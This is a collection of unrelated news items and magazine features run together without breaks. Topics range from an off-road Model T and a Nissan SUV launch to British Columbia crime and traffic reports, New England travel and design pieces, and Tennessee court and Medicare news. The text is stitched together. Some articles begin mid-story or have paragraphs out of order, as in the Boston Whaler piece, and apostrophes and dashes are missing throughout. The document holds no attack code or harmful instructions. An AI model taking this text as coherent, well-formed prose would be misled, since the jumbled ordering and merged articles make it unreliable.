According to Hot Rod, the 1916 Ford arrived at the Flex for Food event in Wichita, Kansas, to outshine anyone by driving 103 inches up the 20-degree ramp. That adds up to a grand score of 1,030  an incredible achievement considering most stock SUVs have an RTI value of 450  500, whilst only heavily modified off-roaders have the ability to exceed 1000.

To put matters in perspective, the American magazine goes on saying that a JK Wrangler Rubicon two-seater scores 769. Impressive? Certainly yes, but considering the werent many roads back in 1916, Ford had to build cars that could come with the harsh terrain. Nevertheless, we wouldnt try open the Model Ts door while its up on the RTI.

PHOTO GALLERY
John Hughes, co-founder of vfx company Rhythm & Hues, which filed for bankruptcy shortly after being nominated for an Academy Award for its work on Life of Pi, is helping Chinese filmmakers set up a major visual effects company in Beijing.

The deal was formalized on Tuesday between Hughes and the administrative committee of the Beijing Economic-Technological Development. The new vfx company, located in Beijings suburban Daxing district, as well as an accompanying visual arts center, will be named after Hughes.

According to a report in China Daily, Hughes revealed during the agreement signing that hes been learning how to speak Chinese for the last five years and has even given himself a new Chinese name, Zhang Chi. He said that he hoped the new company would encourage positive flows between the West and East, namely by importing more U.S. technology into the Chinese vfx market, while creating Chinese films that will perform better in the international market.
Reports state that Nissan has confirmed its plans to launch the Kicks SUV for the Indonesian market in May this year. Sources also revealed that the production of this SUV has already begun in January 2016.

Nissans Kick has been spied testing in Brazil on several occasions. While competition in the Indonesian market for the Kicks will comprise of the Honda BR-V and the Toyota Rush, Nissans new vehicle promises more five-seating configurations than the rivals. Internationally, the Kicks is positioned below the Juke and is based on the V-based platform that does duty in the Micra and Sunny.

Sources admit that the car has similar design cues as the Mazda CX-5. The Nissan Kicks has a distinct butch design language that features a large chrome front grille thats flanked by two angular headlamps whose lines extend to the fenders. The Brazilian Kicks is expected to come equipped with a 1.6-litre petrol motor when its due to launch in August 2016 and will roll out of their plant in Resende. Nissan India is also contemplating the launch of the Kicks for the Indian market in 2017.
Photo: Tom Masolizzul

I am proud to say I went toe-to-toe with evil itself, and I did not flinch, I did not waiver, I did not scream like a small school girl and run out of the room.

Instead, I steeled my nerves, summoned courage from deep within my soul, and slew the beast threatening me.

Yes folks, it's true: I killed a spider, like a man.

I was in the kitchen when out of the corner of my eye I saw it.

A grey figure scampering across the countertop. For a brief instant I froze, as my mind reeled at the creature before me.

What kind of horror is this? What kind of spawn from hell itself was invading my home?

As I turned to face my nemesis, it stopped and looked at me tauntingly with its beady little eyes, fangs of doom, and eight legs of terror.

It was mocking me, daring me to challenge its existence. At that moment time stood still and I knew it was either him, or me.

Suddenly, he started to move and I had to act fast.

I did not have time to grab paper towel in which to encase and smash him. Nor was there a flame thrower, incendiary device, or weapons-grade plutonium handy, so I charged forward with the ferocity of a wild beast.

Unleashing my inner cave man, I attacked with unbridled rage, and with a bare hand smashed the creature from hell with a single mighty blow, claiming a staggering victory for arachnophobes everywhere.

However, having a smashed spider on my hand really creeped me out so I ran - I mean, casually strolled - to the washroom where I rinsed his guts from my skin  a lot.

It is a day that shall go down in infamy. The day I faced my worst fear and won.

Some people might say it was a shallow victory because the spider was just slightly smaller than the flat part of a thumb tack, but hey, it was still a spider and I still killed it with my bare hands, so I am counting that as a victory.

It's not that I hate spiders . . . okay, well actually I do, I do hate spiders.

I hate pretty much all spiders, and now is the time of year when they make a reappearance after several serene winter months without them.

I know I will have many encounters of the icky kind before the cold weather returns and I am not looking forward to any of them.

Spiders are more afraid of you, than you are of them.

No they're not.

I doubt a spider ever peed a little while running out of the room because a huge Darren fell on him from the ceiling.

Spiders are harmless.

I don't care.

And for the record, not all spiders are harmless. The black widow is a nasty piece of work and can harm you.

There are black widows in the area, so some local arachnids are dangerous.

And with international shipping and travel, how do we know the spider I am gently trying to save is not a deadly species accidentally introduced to the region, and by catching and releasing it I am actually dooming the area to a spider-filled nightmare.

That innocent little spider I just squashed could have been a baby Goliath tarantula that will grow into a monster with fangs the size of a chihuahua's tail.

Think of the children.

It is a chance I simply refuse to take, so whenever I see a spider of any size, shape, and colour I will slay it.

You are welcome.

This article is written by or on behalf of an outsourced columnist and does not necessarily reflect the views of Castanet.
Photo: The Canadian Press

A lawyer is asking a Federal Court judge to expand a ruling that found patients in Canada have the right to grow their own medical marijuana.

John Conroy represented the plaintiffs in the constitutional challenge and he will be in court Friday with a motion to reconsider and vary the judge's order.

Justice Michael Phelan struck down legislation in February that banned patients from growing their own cannabis and required them to buy pot from licenced producers.

The legislation brought in by the previous Conservative government replaced a 2001 law that allowed patients to obtain licences from Health Canada to grow their own marijuana or find designated growers.

The judge gave the Liberal government six months to come up with a new law, and in the meantime extended an injunction allowing some 28,000 licence-holders to continue growing or possessing cannabis.

But Conroy wants the judge to allow everyone who was enrolled in the old program in the final year of its existence the immediate right to grow their own marijuana, not just those covered by the injunction.
Photo: CTV

UPDATED: 9:10 p.m.

Canada Border Services Agency says three people are in custody after a suspected explosive device was found in a vehicle at a British Columbia border crossing.

Spokeswoman Bernee Bolton said during a routine secondary examination at a crossing in Abbotsford, B.C., officials found what appeared to be a suspected explosive device and immediately called police.

Bolton said three travellers were taken into custody and the investigation was ongoing with Abbotsford Police at the scene and RCMP providing assistance.

Abbotsford Staff Sgt. Rick Stewart tweeted a photo of a grenade Thursday evening with the hashtag #inert. He said the RCMP's Explosive Disposal Unit had been called out.

"Cutting through BC? Don't have grenade in plain view," he wrote. "Closed border & called out EDU. No entry for u."

The B.C. RCMP did not immediately respond to a request for comment.

Bolton was unable to immediately confirm the device was an inert grenade but said there was no ongoing threat to the public.

"The CBSA takes all threats to the health and safety very seriously and takes immediate and appropriate action when faced with potential risk," Bolton said in a statement.

U.S. Customs and Border Protection spokesman Jaime Ruiz said U.S. officials have been involved in information-sharing and are prepared to provide help if necessary.

He said Canadian officials are leading the investigation as the car was entering Canada. Travellers leaving Washington for Canada were being urged to use another border crossing to save time.

The incident occurred around mid-afternoon on Thursday and forced the Abbotsford crossing to close for about 40 minutes before two of the five lanes were reopened.

ORIGINAL: 3:57 p.m.

An incident at the Sumas-Huntingdon crossing closed the border for a short period of time Thursday afternoon.

The incident happened at 2:30 p.m. and closed the border in both directions for roughly 30 minutes.

The nature of the incident has not been disclosed by the Canadian Border Services Agency, as it is still under investigation.

The border has been partially reopened, but those looking to cross may still experience delays.

We are encouraging all travellers and commercial clients to use the Aldergrove alternate port of entry, said Kathy Liu, spokesperson for the CBSA. We cant speculate when the crossing will fully reopen but were hoping, of course, that its going to be rather soon.

The Abbotsford Police Department was called to the crossing to assist the CBSA guards.

Const. Ian MacDonald of the Abbotsford Police Department says at least four police cruisers attended the scene of the incident.

This story will be updated as more information becomes available.
Photo: Castanet Staff

Police across Canada will be testing three saliva-based roadside devices on suspected drug-impaired drivers after a team of scientists studied how they detect the presence of drugs such as marijuana.

This comes on the heels of news a UBC Okanagan professor has developed a similar device.

Doug Beirness, vice-chairman of the Drugs and Driving Committee within the professional organization of The Canadian Society of Forensic Science, said the Mounties and the Ontario government funded their research, which was completed last year.

"What we were interested in was can you use oral fluid screening at the side of the road to assess recent drug use? The answer to that was yes."

Beirness said two of the drug-detecting devices, the Draeger Drug Test and the Drugwipe, are manufactured in Germany and the other is called the Alere, which is made in Britain.

The next step, before any of the devices can be approved in Canada, is for police officers to test them in the field in various jurisdictions, said Beirness, adding that a representative from the Justice Department attends their committee meetings.

The RCMP confirmed Thursday that its plans involve testing so-called oral fluid drug screening devices, which are similar to breathalyzers used to detect the presence of alcohol.

"Such devices can aid in the identification and apprehension of drug-impaired drivers and are becoming increasingly commercially available and are currently being used in other countries," the force said in a statement.

"The research project will help determine if roadside oral fluid drug screening devices have potential for use in drug-impaired driving enforcement in Canada. Legislative changes will have to take place before such devices can be approved for use in Canada."

The Mounties said surveys and research suggest drug-impaired driving is becoming as prevalent as driving under the influence of alcohol.

Officers using the device at the roadside would ask drivers to stick out their tongues as a sample of saliva is taken with an instrument similar to a tongue depressor.

Beirness, who co-authored a 2015 report on cannabis use and driving for the Canadian Centre on Substance Abuse, said the devices would help provide police with evidence that could lead to convictions.

Currently, police who suspect drug-impaired driving use a standard sobriety test that includes looking at a driver's eyes and asking the person to walk and turn and stand on one leg.

Suspected drivers can also be examined by a specially trained police officer called a drug recognition expert and be given a blood test.

A drug-screening device would be another tool in an officer's arsenal, with saliva test results available in about five minutes, Beirness said.

"It's an objective measurement, and they can take that and say, 'Aha, you are over the limit, now you're going downtown,'" Beirness said.

"We know from studies that have been done, both roadside surveys, studies in hospitals and studies of fatalities that cannabis is involved in a larger proportion of crashes. If we're going to enforce the law we have to have everything at our disposal to help us do that."

At least two other devices developed in Canada to detect THC, the main psychoactive ingredient in pot, test a suspected driver's breath, the same as breathalyzers for alcohol, but neither has been tested by police.

Abe Verghis, spokesman for Alcohol Countermeasure Systems Corp., in Toronto, said the company distributes the German-made Drugwipe, which is among the three devices to be tested by police.

"What we're pushing for is, have roadside saliva testing administered," he said. "This technology's been around for decades. It's been used in Europe for around 10 years and it's worked well. It's been used in Australia as well. They're well ahead of where Canada is."

Verghis said the Drugwipe is already being used in a pilot project by police in Colorado.
Photo: Facebook - Katie Van Nes

An Abbotsford woman has been ordered to pay more than $67,000 after making unfounded accusations over Facebook suggesting her neighbour was a pedophile who set up mirrors and cameras in his backyard to spy on her children.

A B.C. Supreme Court judge has ruled that Katherine Van Nes's "viral" online posts were "completely false and unjustified" and had a devastating effect on Douglas Pritchard and his career as a middle-school music teacher.

In his ruling, Justice Anthony Saunders describes how the Abbotsford neighbours' relationship began to deteriorate after Pritchard approached Van Nes in 2011 about turning off a newly-built backyard pond and waterfall at night, which he said interrupted his wife's sleep.

Pritchard and his wife were eventually advised by the municipality to document their complaints after a series of worsening unneighbourly conduct by Van Nes and her family.

The court document says those efforts, along with the installation of a decorative mirror, prompted Van Nes to take to Facebook, which she described as a form of "venting."

Van Nes removed her defamatory comments after about 27 hours but the ruling says by then the damage had been done, including one member of the community contacting the principal of the school where Pritchard worked about the allegations.

"The seriousness of Ms. Van Nes's defamatory Facebook post, her replies, and the comments of her 'friends' cannot be overstated," Saunders writes.

"An accusation of pedophilic behaviour must be the single most effective means of destroying a teacher's reputation and career, not to mention the devastating effect on their life and individual dignity.

"He now faces the challenge of repairing the damage Ms. Van Nes has caused, if that is even possible at this point."

The judgment awards Pritchard $50,000 in general damages, $15,000 in punitive damages and $2,500 for his nuisance claim.

It also orders the Van Nes household to turn off the waterfall in the backyard pond nightly between 10 p.m. and 7 a.m.
Photo: Helene Doskocil

The Okanagan, and Canada, has lost an advocate for veterans, a war hero and a dedicated volunteer.

Second World War veteran Hans De Leeuw was born on November 4, 1919 in Rotterdam, Netherlands and died on April 16, 2016 in West Kelowna, at the age of 96.

He served with the Allied Forces during the Second World War - a Normandy veteran, was on the Board of Directors for Kelowna General Hospital, helped start the Brookhaven Care Centre and was involved with the Alzheimer Society, Kiwanis and the War Veterans.

He donated a lot of time, you know, where there was a need he showed up, said his daughter Helene Doskocil. Were very proud of him, of all his accomplishments.

At a young age, De Leeuw joined the Allied Forces in the Second World War, serving throughout Europe.

After the war he wanted to move his family to Canada.

While both Doskocils parents were Jewish, she was raised Catholic as she says it allowed them a better chance to immigrate to Canada after the war.

The whole family came to Canada in 1953, he was 45 years old. Three of us kids not knowing anyone and they picked Edmonton, being the oil capital of Canada, said Doskocil.

We got off the train, he went to a Catholic church and said Please help, we dont know anyone here, and they helped us.

She says he started sweeping floors at the Safeway and worked his way up to manager.

De Leeuw retired to the Okanagan in 1979, after building a life with his family in Edmonton.

From 1979 until about six years ago, he was still volunteering, said Doskocil.

Doskocils mother, Hetty, developed Alzheimers in her later years and De Leeuw fought for research for the disease during her struggle and after her death.

He did a lot of research and doctors used to phone him for information, said Doskocil.

She says De Leeuw learned to speak nearly 16 languages and has left a far-reaching legacy.

De Leeuw is survived by his family, daughter Helene (Jim) Doskocil of West Kelowna, sons Michael (Thelma) de Leeuw of Texas, Richard (Bromwyn) de Leeuw of Edmonton; grandchildren, great grandchildren and extended family.

To pay respect to his religious affiliations before and after moving to Canada, Doskocil says De Leeuws service will have Catholic and Jewish elements.

In order for us to immigrate to Canada we changed to Catholic, because no country would let us in, said Doskocil. So, at the funeral we will have a Catholic person and a Jewish element. There is only one God right. It will be quite the funeral with two, but they are OK with it.

A funeral service will be held on April 28 at 10:00 a.m. at the Springfield Funeral Home. For more details click here.
Photo: Google Maps

UPDATED: 9:14 p.m.

Highway 5 has now fully reopened after a rollover closed it earlier in the evening.

UPDATED: 7:42 p.m.

Traffic is now being allowed through on Highway 5 in the southbound direction, south of Merritt, but the northbound direction remains closed.

ORIGINAL: 7:22 p.m.

The Coquihalla Highway is closed in both directions Thursday night after a vehicle flipped over and trapped its occupants inside.

The crash occurred 3.5 kilometres south of Merritt on Highway 5, just before 7 p.m.

DriveBC reports there is a detour around the crash in the southbound direction at Exit 286, but no detour in the northbound direction.

The condition of those involved in the crash is unknown at this time.
Union, Maine, is only a dozen miles from Camden, one of the states classic seaside destinations. Camden has schooners for hire, spectacular views of Penobscot Bay, celebrity summer residents, fancy shops and upscale restaurants, and an endless stream of tourists. Union, in contrast, has orchards, farmland, a village green, and a whole lot of quiet.

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A hand-painted sign on Unions town green points travelers toward other destinations.



Back in the 19th century, Union was an active mill town, making carriages, shoes, furniture, and coffins. Today Union is known for the State of Maine Wild Blueberry Festival, which began as the Union Fair in 1869. It is also the birthplace of Dr. Augustin Thompson, creator of the tonic Moxie. It is one of those places that does not share the glamour of coastal Maine. Resorts strung along the U.S. Route 1 corridor  from Kittery to Mount Desert Island  form a veneer of picturesque wealth and L.L. Bean outdoorsy-ness, but not far away is the vast rest of Maine  farms, mills, forests, and often isolation and poverty.

The statue of a soldier in a Union uniform that sits atop the Union, Maine, memorial is much like those found in other towns throughout the state.



Living up to its name, the town provided a disproportionate number of troops to defend the Union in the Civil War. Maine sent 73,000 soldiers and sailors, more than 10 percent of its population, and the highest number in proportion to population of any northern state, to battle the Confederacy. Unions Civil War memorial lists 28 men of the town who lost their lives on Southern battlefields; four more died in prison camps.

The names of those honored are listed on the war memorial.



These farm-boy solders served in the legendary 20th Maine Infantry, and some of these Knox County men were among the more than 12,000 Northern casualties at the Battle of Fredericksburg. Their commander was Joshua Chamberlain, hero of Gettysburg and later president of Bowdoin College and governor of Maine.

Dedicated in 1888, the towns war memorial to its lost sons is made of concrete, which was cheaper than bronze or marble (the base, however, is local granite). The bewhiskered soldier that stands atop it no doubt came from a catalogue as there are countless others just like it in small towns across the Pine Tree State.



The names carved on the monument speak of the Anglo-Saxon makeup of 19th-century Maine: Dexter Morse, Alden Lothrop, Marcellus Woodworth. Elijah Lothrop, Aldens brother, was killed at age 19. Jacob Sidelinger was 18 when he died a prisoner in April 1865, the last month of hostilities.

The inscription on the memorial reads, They That Defend Their Flag Shall Not Be Forgotten.



The carnage, and its effect on small towns that sent their soldiers off in hometown units, is also highlighted by the death of H.F. Sidelinger in 1863 at the age of 25. Sidelinger is one of only two officers on the Union memorial. His rank, Brevet Major, was one often bestowed in the heat of battle, when most of the officers had been killed or wounded.

Great design is always at your fingertips! Read Design New Englands July/August issue online!


Photo: Google Maps

UPDATE: 12:25 p.m.

Eight members of British Columbia's Independent Investigations Office were expected to arrive in a northern village today to investigate a shooting involving police that left two people dead.

A news release from the police watchdog says RCMP report they were called to Granisle, 63 kilometres east of Smithers, on Thursday at about 12:30 p.m. to a dispute.

Police say the dispute between neighbours involved a handgun.

The independent investigations office says police were trying to speak to anyone in the home when two people left it, confronted police and shots were fired.

They were treated by paramedics but did not survive.

The Mounties say they arrived at the house at 1:22 p.m. and shots were fired at about 2:50 p.m.

The independent investigations office looks into all incidents of death or serious injury involving police.

A spokesman for the organization says investigators will begin collecting evidence and canvassing witnesses today.

The coroner has not identified the victims.

Coun. Jim O'Farrell said they were a mother and son and a family source told Vancouver radio station CKNW that the man was 39 and the woman was in her 70s.

ORIGINAL

The RCMP says the Independent Investigations Office is probing a confrontation with police that left two people dead in northern British Columbia.

Mounties were called Thursday afternoon to a neighbour dispute involving a handgun in the Village of Granisle, located north of Topley.

After establishing a perimeter and attempting contact with residents, the RCMP says one person left the home and confronted police before shots were fired.

Then, Mounties say a second person left the residence, confronted police and shots were fired.

Both people were pronounced dead despite the efforts of paramedics who were staged nearby and there were no injuries to police.

The IIO has been notified and Mounties say the scene and evidence have been secured pending the arrival of investigators.
Photo: Bob Rogers

A portion of Glenrosa Road washed out nearly two weeks ago will reopen to traffic today.

An email from the Ministry of Transportation and Infrastructure confirmed the section of road that was washed out by a mudslide April 10 will reopen this afternoon.

"The road will be left with a gravel surface and we will monitor the road to ensure no further settling occurs," the ministry stated in an email.

"Once this monitoring is complete we will asphalt pave the damaged area."

The section of road affected was near the Telemark ski trail parking lot.

One couple, who live in a mobile home adjacent to the parking lot, were affected by the wash out.

A temporary road was built to allow access for the couple and those people attempting to access the closed Crystal Mountain resort.
Photo: CTV Saanich mothers Tara Smith-Arnsdorf (left) and Katelin LeBlond.

It's a jarring sight  a year's worth of garbage stuffed into a two-litre pickle jar.

While that may sound unattainable, two families on Vancouver Island have accomplished the feat.

It certainly is doable," Tara Smith-Arnsdorf told CTV News. You have to look at your consumer habits and look at whats important to you.

Saanich mothers Smith-Arnsdorf and her neighbour Katelin LeBlond pledged on Earth Day one year ago to drastically reduce their garbage.

"Each of our families was producing a big black garbage bag a week, so the idea of going from that to nothing felt like a formidable challenge, said LeBlond. It pushed us out of our comfort zone initially, but now, its not a big deal at all.

The women said they avoid single-use plastics and shop in the bulk section with their own containers.

They also follow five rules that guide their zero-waste lifestyle: Refuse anything you dont need, reduce what you do need, reuse anything you can, recycle what you cant reuse and compost everything else.

They also make a lot of their own products, like toothpaste and deodorant.

With this lifestyle, were creating new traditions for our kids. A new way to look at things, Smith-Arnsdorf said. Itll be something they grow up with and its all they know.

 with files from CTV Vancouver
Photo: David Ogilvie

A 28-year-old pedestrian from Surrey hit in West Kelowna Thursday night will be OK, says the Kelowna RCMP.

Police are investigating the collision, which happened at 7:15 p.m. at Main Street and Elliott Road.

"He reportedly sustained relatively minor non-life threatening injuries as a result of the incident," said Kelowna RCMP Const. Jesse ODonaghey in a news release.

The driver, a 55-year-old West Kelowna woman, remained at the scene.

"The police investigation is ongoing at this time. Information provided by witnesses at the scene was not conclusive. Charges have not been laid at this time," he said.
Photo: Contributed

The number of active wildfires burning across British Columbia has climbed to 95, after nine new blazes were sparked over a 24-hour period.

BC Wildfire Service information officer Ryan Turcot says a storm Thursday generated about 1,500 lightning strikes but he notes people are still the cause of most of B.C.'s fires.

Turcot also says temperatures across the province are easing after several days of record heat.

He says that will help firefighters in northeastern B.C., where a number of large blazes destroyed one house and forced evacuations from 500 other homes earlier this week.

All the evacuation orders were lifted by mid-week and the Prince George Fire Centre confirms the number of properties still on evacuation alert has now been cut to 31.

The Beatton Airport Road blaze north of Fort St. John remains B.C.'s largest fire at 63-square kilometres and Turcot says it is only five per cent contained.
Fisher was visiting the 13th annual show and waterfront festival put on by the magazine Maine Boats, Homes and Harbors last month. This years event included visits from the Maine Seacoast Missions ship Sunbeam V and the 1921 Arctic-exploration schooner Bowdoin, displays of poetically beautiful wooden boats and furniture, the ever-popular Boatyard Dog contest, and its first-ever Boston Whaler roundup.

Dad and his crew were doing some crazy things, says Dick Fisher, the white-haired resident of Prospect Harbor, Maine. He recalled that in the early days of Whaler history back in Massachusetts, They would build boats, cut them in half, and drive the back half across Cohasset Harbor.

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A 16-foot, 7-inch model is named Sakonnet. Photo: Maine Boats, Homes and Harbors.



That gave Fisher a compelling reason to come: His father, also named Dick Fisher, was the father of the Boston Whaler, a boat he conceived in conjunction with famed boat designer and Massachusetts resident C. Raymond Hunt. Originally a tri-hull powerboat constructed of foam sandwiched between fiberglass, it revolutionized the recreational boating industry. Launched in 1958, the original Boston Whaler 13 was lighter than other boats of the time, so it could be propelled by lower horsepower engines. Very stable, with great carrying capacity, it was also billed as unsinkable: cutting Boston Whalers in half has been a marketing tool of the company ever since Dick Fisher first did it in his back yard. Until the late 1980s, the classic 13-foot, 4-inch Whaler and the 16-foot, 7-inch version were built for a huge market in Hanover, Norwell, and Rockland, Massachusetts.

After several decades in which the company repeatedly changed hands, Boston Whaler is now owned by the Brunswick Boat Group, who manufactures the boats in Edgewater, Florida.

Thirty-three Boston Whalers came from as far away as North Carolina for the MBH&H rendezvous, most with owners happy to swap stories. Wells Dow drove his 16-foot, 7-inch Whaler to the show across West Penobscot Bay from North Haven Island.

I bought it 10 years ago on eBay, he says. It was originally the Police boat for the town of Shrewsbury; they drove it on Lake Quinsigamond. All along the bottom is a stainless steel shoe, installed for beaching the boat.

Among the Whaler varieties at the show was a Menemsha, built between 1965 and 1972. Based on the classic 16-foot hull, it added a cabin superstructure to create a mini cabin cruiser whose forward bulkhead flipped open. There was a nine-foot Squall, a rowing and sailing boat built between 1965 and 1985, this one rigged with a Sunfish sail. MBH&H awarded prizes in categories including Most Bedraggled, which went to Camdens Hodding Carter. The "Most Outrageous" award went to a 1971 Outrage owned by Gary Hull of Friendship, Maine, and the Best in Pod award for overall Whaler excellence went home to Rockport, Maine, with Frank Emmet and his 1963 Classic 13.

This Menemsha, built between 1965 and 1972, has a mini cabin cruiser with a bulkhead that flips open.





A nine-foot Squall was rigged with a Sunfish sail.



Dick Fisher found it all fascinating. After nearly 50 years in which the Boston Whaler has had about as much cachet as a practical economy car, people were showing appreciation for its unique place in boating history. With wonder, he looked around at the lively crowd examining the Whalers, and said, It is really gratifying to see all the interest.



Great design is always at your fingertips! Read Design New Englands September/October issue online!
A beautiful and insightful book that takes us back to a time when the Outer Cape of Massachusetts was a hotbed of innovative architecture has been awarded the 21st annual Book Prize by Historic New England . We loved Cape Cod Modern: Midcentury Architecture and Community on the Outer Cape (Metropolis Books) by Peter McMahon and Christine Cipriani when we reviewed it more than a year ago ( Finding Our Outer Modern, July/August 2014 ), so we were happy to see the work get this much-deserved recognition.

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The teardown mentality might be the biggest threat to these mostly small and modest treasures built at time when building codes were less stringent (or barely existed) and the owners, though iconic names in architecture today, were folks on tight budgets often using inexpensive materials to create what they considered expendable seasonal housing. No McMansions were these simple structures tucked in the scrub pine and dunes.



McMahon, and others, thinks they are worthy of preservation. He has founded the Cape Cod Modern House Trust (CCMHT), which documents these exceptional structures and has leased several of them, all in various states of disrepair, from the National Park Service. Working with partners the CCMHT has rescued and restored several of the houses for re-use as creative platforms for artists and others.



An HNE Honor Book award was given to Derin T. Bray for Bucket Town: Woodenware and Wooden Toys of Hingham, Massachusetts, 163-1945 (Hingham Historical Commission), which, as its title implies, traces the history of the woodenware industry in the South Shore town.







In Plain Sight: Discovering the Furniture of Nathaniel Gould (Peabody Essex Museum) by Kemble Widmer and Joyce King also received an Honor Book award. It turns the discovery of Nathaniel Goulds detail-rich day and account books into a scholarly look at the work of one of the leading American cabinetmakers of the 18th century.





Great design is always at your fingertips! Read Design New Englands November/December 2015 issue online!
Elizabeth Reilly DaCosta of New Bedford, Massachusetts, was one of the 70,000 or so people a day that flocked to the General Motors building at the New York Worlds Fair in 1964. Americas biggest automobile manufacturer bedazzled visitors with a look at transportation of the future, in a building appropriately called Futurama. The end of the ride through the future culminated in a dramatic domed pavilion filled with The Generals current cars.

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Betty DaCostas husband, Edmund DaCosta, who arrived in New Bedford from the Azores in 1944, was in the construction business, but he was a confirmed motor head all his life. The machine that caught Bettys eye was the Buick LeSabre wagon. Visitors were allowed to sit in the cars, and Betty, pregnant with her third child, sat in a cherry red example, outfitted with every luxury option that G.M. had to offer.



Besides such novelties as an automatic radio antenna, chrome wheels, and a rear window that disappeared into the door, this particular Buick was unusually powerful. Its Wildcat V8 power plant displaced 401 cubic inches (or 6.6 liters) and produced 234 horsepower; its 4-barrel carburetor could propel this 4,630-pound beast to 60 miles per hour in under 10 seconds. At 18 feet, and with a fuel consumption of 10 miles per gallon, the LeSabre was a classic example of American automotive excess.



The DaCostas returned from the Worlds Fair and raised a total of six children. One son, Edmund DaCosta, who was in utero when his mother sat in the Buick, grew up to have a 30-year career as a trooper with the Massachusetts State Police. And like his dad, this Edmund loved cars, and was handy at restoring the occasional old vehicular beauty.



Among those restorations was a 1964 Buick LeSabre wagon that DaCosta found a while back (he roared off into New Bedford twilight before I could get all the details). Because of the rarity of the engine and the three-speed gearbox, DaCosta wondered if it might have been the very same car that his parents admired in New York not long before he was born. And it was. And while his mom died some years ago and never saw the car, young Edmund has honored her with his 1964 vanity plate: BETTY.



Great design is always at your fingertips! Read Design New Englands January/February 2016 issue online!
The Polka Dot has been closed for a while and is for sale. Probably not many people are upset by the demise of this greasy spoon next to the railroad tracks in downtown White River Junction, Vermont, except for bygone students from Dartmouth in nearby Hanover, New Hampshire, who made late night runs for bad coffee and mystery-meat burgers. The railroad workers who were the diners steady customers long ago changed their allegiance to fast food out on the strip, while todays Ivy Leaguers no doubt eat much healthier fare.

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My wife and I stopped there recently in search of lunch  it had been 40-some years since I had been to White River. With the Polka Dot closed, we tried a new cafe across the street called Tuckerbox. Owned by two Istanbul natives and a Vermonter, the food in this Turkish restaurant and coffee shop was fabulous. (Carolyn had an Istanbul salad; I had a grilled cheese and sausage sandwich.)



An option beyond the Tuckerbox was the Tip Top Cafe, which locals told us was equally good (journalist Robert Whitcomb, a Dartmouth alumnus and former editor for the Herald Tribune in Paris, said he had one of the best meals in my life at the Tip Top). The restaurant is in a building that is home to painting, photography, and ceramics studios. Such activity points to an exciting if modest Renaissance, and it could not be happening to a town in greater need of a makeover. The last big event that took place here was D.W. Griffiths filming of Way Down East in 1920, with Lillian Gish memorably abandoned on a ice flow in the White River. (A local museums claim to having Elvis Presleys gallstones failed to make the town a pilgrimage destination.)



Lillian Gish on the ice in Way Down East. Note the train in the background.

As per the Junctions name, White Rivers fortunes have been linked to the railroad ever since the first tracks were laid in the 1840s. By the Civil War, five different railroads and scores of passenger trains ran through town. There are still rail yards just west of town, but the fact that White River is now the nexus of two Interstate highways is a poignant reminder of the decline of railroads in this country.

Amtraks Vermonter (formerly the Montrealer) rumbles through White River once a day in each direction. An open platform serves as the train stop. At least the handsome 1937 Georgian depot has been restored for commercial use.

The former White River Junction railroad station built in 1937 was designed by Jens Fredrick Larson, architect of much of the campus at Dartmouth.

Another handsome civic structure in the Georgian style is the former United States Post Office. When the post office moved to far less glorious quarters, the building became the home of the Center for Cartoon Studies. Offering a Master of Fine Arts degree, the two-year graduate program currently enrolls 48 students (the one who showed us around is from Los Angeles). A W.P.A. mural of Vermont farmers and quarrymen still graces the lobby.

Center for Cartoon Studies, formerly the U.S. Post Office, was designed by Louis A. Simon and built in 1934.





W.P.A mural in the former post office in White River Junction was painted in 1937. The scene links two major Vermont industries: quarrying and maple sugaring. The artist Douglass Crockwell was later a successful illustrator, known for his work for the Saturday Evening Post.



On a snowy winter day, the three or four blocks that make up the commercial heart of White River could admittedly be mistaken for a dying railroad town, say, on the Great Plains. But we were encouraged about White River Junctions future when we discovered the Scavenger Gallery, located just off the lobby of the Coolidge Hotel. This is the new studio of the talented and optimistic Upper Valley native Stacy Hopkins, who, after 10 years working in Florence, Italy, returned home and set up shop on South Main Street. Scavenger also is host to exhibitions by other artists, as well as wine tastings of the European vintages she imports.

Stacy Hopkins in her workshop/gallery on Main Street.



Despite hard times, this Vermont town has always been blessed with a strategic location at the confluence of two rivers and classic New England scenery just over the next hill. And now it seems to have incorporated some of the good vibe of the thriving Vermont cities of Brattleboro and Burlington.

Downtown White River Junction, although only a few blocks long, contains some handsome 19th-century commercial buildings.

Great design is always at your fingertips! Read Design New Englands January/February 2016 issue online!
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The Tennessee Court of Appeals has restructured how it assigns cases to panels, providing more rotation of judges on cases from different parts of the state, officials said.



All cases before the Court of Appeals are considered by panels of three judges. Under the new approach, cases that are submitted on briefs without oral argument will be assigned to a panel that consists of one judge from each of the three grand divisions  east, middle and west. For oral argument cases, judges will sit at least once a year in all three sections.



The Court of Appeals comprises 12 judges, four from each of the three grand divisions. During the last fiscal year, the Court issued 728 opinions. The new procedure has been in the planning and implementation stage for over a year and was fully implemented April 1.



Around 25% of the courts cases are assigned on briefs only and the remainder have oral arguments. The new system is expected to ensure that more than 75% of the oral argument dockets consist of judges from two or more sections.



These unification efforts will make the Court of Appeals even more effective for the State of Tennessee and its people, said Chief Judge D. Michael Swiney. Judge Swiney added that the court considered many factors before implementing the change, including potential additional expense for travel.



Members of the Court of Appeals are:



Kenny W. Armstrong  Western Section



Andy D. Bennett  Middle Section



Frank G. Clement, Jr.  Middle Section



Richard H. Dinkins  Middle Section



Thomas R. Frierson, II  Eastern Section



Brandon O. Gibson  Western Section



Arnold B. Goldin  Western Section



W. Neal McBrayer  Middle Section



John W. McClarty  Eastern Section



J. Steven Stafford  Western Section



Charles D. Susano, Jr.  Eastern Section



D. Michael Swiney  Eastern Section
Senator Lamar Alexander on Thursday joined a bipartisan group in introducing legislation to protect hospitals from shrinking Medicare reimbursements that make it harder for them to recruit staff, care for patients, and stay in business. Officials said "Tennessee hospitals have lost nearly $99 million since 2011 because of Medicares flawed reimbursement formula."

Like many hospitals, Tennessee hospitals are getting less and less from Medicare, while hospitals in other areas of the country get more and more for the same services, because of a flawed formula, said Senator Alexander, the chairman of the Senate health committee. This bill will protect Tennessee hospitals, and others around the country, from shrinking Medicare reimbursements that make it harder for them to recruit skilled doctors and nurses, make payroll, pay bills and care for patients.

Medicare uses a wage index to calculate the costs of labor associated with hospital services for Medicare patientsso hospitals in areas with a high cost of living get more from Medicare and hospitals in areas with a low cost of living get less. The wage index sets the national average at 1.0  so a San Jose, Ca., hospital is indexed at about 1.77 and a Johnson City, Tn., hospital is indexed at about 0.74.

In recent years, Tennessee hospitals have seen drastic decreases in payments as a result of this formula. For example, the Knoxville region saw its AWI decrease from 0.92 to 0.73 between 2000 and 2014.

